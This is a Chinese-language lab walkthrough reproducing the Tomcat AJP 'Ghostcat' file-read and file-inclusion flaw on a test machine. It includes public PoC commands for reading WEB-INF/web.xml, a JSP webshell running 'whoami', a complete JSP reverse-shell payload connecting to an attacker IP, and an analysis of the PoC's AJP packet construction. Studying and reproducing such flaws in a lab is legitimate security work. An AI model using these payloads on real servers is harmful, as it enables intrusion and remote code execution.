Tomcat- AJP协议文件读取/命令执行漏洞（幽灵猫复现）详细步骤

一、漏洞描述

Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞 ,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录 下的任意文件,如果配合文件上传任意格式文件，将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响（tomcat默认将AJP服务开启并绑定至0.0.0.0/0）.

二、危险等级

高危

三、漏洞危害

攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能，攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件（上传的文件本身可以是任意类型的文件，比如图片、纯文本文件等），然后利用 Ghostcat 漏洞进行文件包含，从而达到代码执行的危害

四、影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

五、前提条件

对于处在漏洞影响版本范围内的 Tomcat 而言，若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下，即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态，且监听在 0.0.0.0:8009 。

六、漏洞原理

Tomcat 配置了两个Connector，Connector组件的主要职责就是负责接收客户端连接和客户端请求的处理加工。它们分别是 HTTP 和 AJP ：HTTP默认端口为8080，处理http请求，而AJP默认端口8009，用于处理 AJP 协议的请求，而AJP比http更加优化，多用于反向、集群等，漏洞由于Tomcat AJP协议存在缺陷而导致。

攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件以及可以包含任意文件，如果有某上传点，上传图片马等等，即可以获取shell。

浏览器不能直接支持AJP协议。所以实际通过Apache的proxy_ajp模块进行反向代理，暴露成http协议（8009端口）给客户端访问

相关的配置文件在conf/server.xml。

构造两个不同的请求，经过tomcat内部处理流程，一个走default servlet(DefaultServlet)，另一个走jsp servlet(JspServlet)，可导致的不同的漏洞。

文件读取漏洞走的是DefaultServlet，文件包含漏洞走的是JspServlet。

七、部署靶机环境

靶机：ubuntu22.04

配置：可以看看这个，无脑操作（当然可以使用docker）

在 Ubuntu 20.04 上安装 Apache Tomcat 教程 - Bandwagonhost中文网-Bandwagonhost中文网

攻击机：Linux kali2023

八、复现过程

1、探测IP

2、任意文件读取

下载Exp：

复制代码

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

复制代码

cd CNVD-2020-10487-Tomcat-Ajp-lfi/

chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py

读取文件内容（-f后即是指定的文件）：

复制代码

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f WEB-INF/web.xml

复制代码

Python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f index.jsp

复制代码

3.任意文件包含（这个需要结合文件上传漏洞）

这里自己上传了一个木马到ROOT目录：test.txt

脚本内容：

复制代码

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

访问一下是可达的

修改Poc：

主要是这，将/asdf改成**/asdf.jspx**

执行脚本

复制代码

python2 cvefileinclude.py 192.168.155.184 -p 8009 -f test.txt

成功

尝试反弹shell:

脚本：

复制代码

<%@page import="java.lang.*,  java.util.*,  java.io.*,  java.net.*"%>

<%

try {

    String host = "192.168.155.166";

    int port = 9001;

    Socket socket = new Socket();

    socket.connect(new  InetSocketAddress(host, port), 2000);

   

    Process process;

    if (System.getProperty("os.name").toLowerCase().contains("win"))  {

        process = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();

    } else {

        process = new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();

    }

   

    InputStream  pin = process.getInputStream();

    InputStream  perr = process.getErrorStream();

    OutputStream pout = process.getOutputStream();

   

    InputStream  sin = socket.getInputStream();

    OutputStream sout = socket.getOutputStream();

   

    while(!socket.isClosed())  {

        while(pin.available()  > 0)  sout.write(pin.read());

        while(perr.available()  > 0) sout.write(perr.read());

        while(sin.available()  > 0)  pout.write(sin.read());

        sout.flush();

        pout.flush();

    }

    process.destroy();

    socket.close();

} catch (Exception e) {}

%>

九、POC解析

（一）引入的包及作用

1、struct:用于处理二进制数据，AJP协议基于二进制

2、socket:建立与Tomcat服务器的AJP端口的TCP连接，发送构造的恶意请求并接收响应。

3、argparse:解析命令行参数

4、StringIO（隐式引入）:在AjpForwardRequest.parse() 中，用于将二进制数据流转换为类文件对象，便于流式解析

（二）函数

Pack_strings:函数

将字符串 s 按特定二进制格式序列化：[2字节长度] + [字符串字节数据] + [1字节的0]

>h：表示大端（Big-endian）的有符号短整数（2字节）

>H：大端的无符号短整数（2字节）

%ds：动态长度的字节串（例如 5s 表示 5 字节），对应 s 的 UTF-8 编码数据。

b：一个有符号字节（1字节），固定为 0

大端序是最高有效字节在前，小端是最低有效字节在前。AJP协议是基于TCP的，而网络传输通常采用大端序，也就是网络字节序。同时Tomcat AJP协议（Apache JServ Protocol）明确要求所有字段以大端序编码，且字符串以 \0 结尾

Unpack 函数

解包二进制数据，返回一个元组

计算需要读取的字节数à读取字节à按照格式解析读取到的字节

unpack_string函数

从二进制流中解析 AJP 协议格式字符串，记住前两个字节表示整个字节流的长度

（三）类

AjpBodyRequest类

处理客户端与服务器之间的数据传输

数据传输方向：

读取字节à空则返回数据头，非空则添加数据长度à根据方向拼接数据并返回

循环发送数据块 → 等待服务器指令 → 根据指令决定是否继续发送

GET_BODY_CHUNK：表示对方要求发送下一个数据块（用于分片传输）。

SEND_HEADERS：表示对方已发送响应头，需结束数据传输。

len(data) == 4：表示空包

AjpForwardRequest类

构造和发送AJP请求到目标服务器

分配数值标识符，AJP协议要求将HTTP方法以数值而不是字符串形式传输

后面定义标准请求头和请求属性

SC_REQ：该头是 AJP协议预定义的标准头

区分预定义头和自定义头，将HTTP请求头按AJP协议规范序列化为二进制数据

若属性名为req_attribute，表示这是一个嵌套属性，其值需拆分为两个部分（名，值）à打包属性（名）值。看到这里可以基本明白漏洞原理。

AJP 协议未对 javax.servlet.include.* 属性进行安全校验，攻击者通过伪造请求头实现路径穿越。通过设置req_attribute 属性，注入恶意路径，触发 Tomcat 解析任意文件，从而泄露敏感信息。例如：{'name':'req_attribute', 'value':['javax.servlet.include.path_info', 'WEB-INF/web.xml']},

在属性列表末尾添加 0xFF，表示属性序列结束

**Serialize函数：**生成二进制数据包

**Parse函数：**解析接收到的AJP协议数据包，将其转换为结构化的请求对象

**send_and_receive函数：**处理AJP协议的请求发送和响应接收

参数传入

/asdf 是用于触发 AJP 文件包含漏洞的任意路径，实现路径覆盖，访问目标文件